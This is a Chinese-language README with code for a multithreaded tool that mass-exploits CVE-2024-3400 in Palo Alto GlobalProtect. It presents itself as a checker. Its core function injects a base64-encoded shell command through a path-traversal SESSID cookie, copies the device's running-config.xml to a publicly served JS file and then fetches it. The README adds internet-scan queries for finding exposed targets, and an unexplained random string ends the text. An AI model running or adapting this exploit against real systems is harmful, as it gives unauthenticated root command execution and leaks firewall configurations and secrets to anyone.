CVE-2024-3400 RCE 漏洞检测工具
一款针对 Palo Alto Networks GlobalProtect 产品中 CVE-2024-3400 远程代码执行漏洞的批量检测与验证工具。该漏洞允许未认证的攻击者以 root 权限在目标设备上执行任意命令。
功能特性
- 批量检测:支持从文件中读取大量目标 URL,进行大规模漏洞排查
- 多线程扫描:可自定义线程数量,提升检测效率
- 代理支持:支持 HTTP/HTTPS 代理,便于通过 Burp Suite 等工具调试与分析流量
- 自动验证:通过命令注入尝试写入测试文件,随后验证文件是否成功生成,确认漏洞是否存在
- 结果输出:自动将疑似存在漏洞的目标写入
mayberce.txt,将确认存在 RCE 的目标写入yesRce.txt
安装指南
环境要求
- Python 3.6 及以上版本
- 依赖库:
requests,urllib3
安装步骤
-
克隆或下载项目代码至本地
-
安装依赖库:
pip install requests urllib3
系统兼容性
- Windows / Linux / macOS 均可运行
使用说明
准备目标文件
创建一个文本文件(例如 urls.txt),每行一个目标地址:
https://192.168.1.1
https://vpn.example.com
http://10.0.0.1
基础用法
python CVE-2024-3400-RCE-CHECK.py -f urls.txt
完整参数示例
python CVE-2024-3400-RCE-CHECK.py -f urls.txt -p http://127.0.0.1:8083 -t 100
参数说明
| 参数 | 说明 | 必填 | 默认值 |
|---|---|---|---|
-f, --file | 目标 URL 列表文件路径 | 是 | 无 |
-p, --proxy | 代理地址,如 http://127.0.0.1:8083 | 否 | http://127.0.0.1:8083 |
-t, --thread | 扫描线程数 | 否 | 100 |
执行流程
- 工具会为每个目标生成随机文件名
- 构造恶意 Cookie,执行
tar命令将配置文件压缩到 Web 可访问目录 - 等待约 320 秒,确保命令执行完成
- 尝试访问生成的 JS 文件,若返回 200 状态码则确认漏洞存在
输出文件
mayberce.txt:已写入测试文件的目标地址(疑似存在漏洞)yesRce.txt:成功访问到测试文件的目标地址(确认存在 RCE)
互联网资产测绘
可使用以下语法在各大资产测绘平台搜索潜在目标:
Fofa
app="paloalto-GlobalProtect"
Zoomeye
app:"Palo Alto Networks firewall httpd"
Hunter.how
product.name="GlobalProtect Portal"
Shodan
http.favicon.hash:-631559155
核心代码
漏洞利用与文件写入
def CreateTarFile(url, proxy):
try:
filename = GenerateRandomString(10)
cmd = f"tar -czf /var/appweb/sslvpndocs/global-protect/portal/js/jquery.{filename}.js /opt/pancfg/mgmt/saved-configs/running-config.xml"
base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")
headers = {
"Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}
resp = requests.post(url=url + "/ssl-vpn/hipreport.esp", headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
maybeRceFile.write(f"{url}/global-protect/portal/js/jquery.{filename}.js\n")
except:
pass
漏洞验证与文件检测
def CheckTarFile(url, proxy):
try:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}
resp = requests.get(url=url, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
print(f"[+] Can be RCE: {url}")
yesRceFile.write(f"{url}\n")
except:
return False
多线程调度
def ThreadCreateTarFile(file2check, proxy, max_thread_num):
urlAddrs = GetUrls(file2check)
executor = ThreadPoolExecutor(max_workers=max_thread_num)
futures = []
for addr in urlAddrs:
future = executor.submit(CreateTarFile, addr, proxy)
futures.append(future)
wait(futures)
def ThreadCheckTarFile(proxy, max_thread_num):
urlAddrs = GetUrls("mayberce.txt")
executor = ThreadPoolExecutor(max_workers=max_thread_num)
futures = []
for addr in urlAddrs:
future = executor.submit(CheckTarFile, addr, proxy)
futures.append(future)
wait(futures)
命令行参数解析
def ParseArgs():
parser = argparse.ArgumentParser(description="CVE-2024-3400-RCE-CHECK")
parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
parser.add_argument("-f", "--file", type=str, help="target urls to check, eg: urls.txt", required=True)
parser.add_argument("-t", "--thread", type=int, default=100, help="threads to scan", required=False)
return parser.parse_args()
6HFtX5dABrKlqXeO5PUv/1bZsy3vYbBIaiejpN0RmxWWoZY1e63btFCXPL89aWy8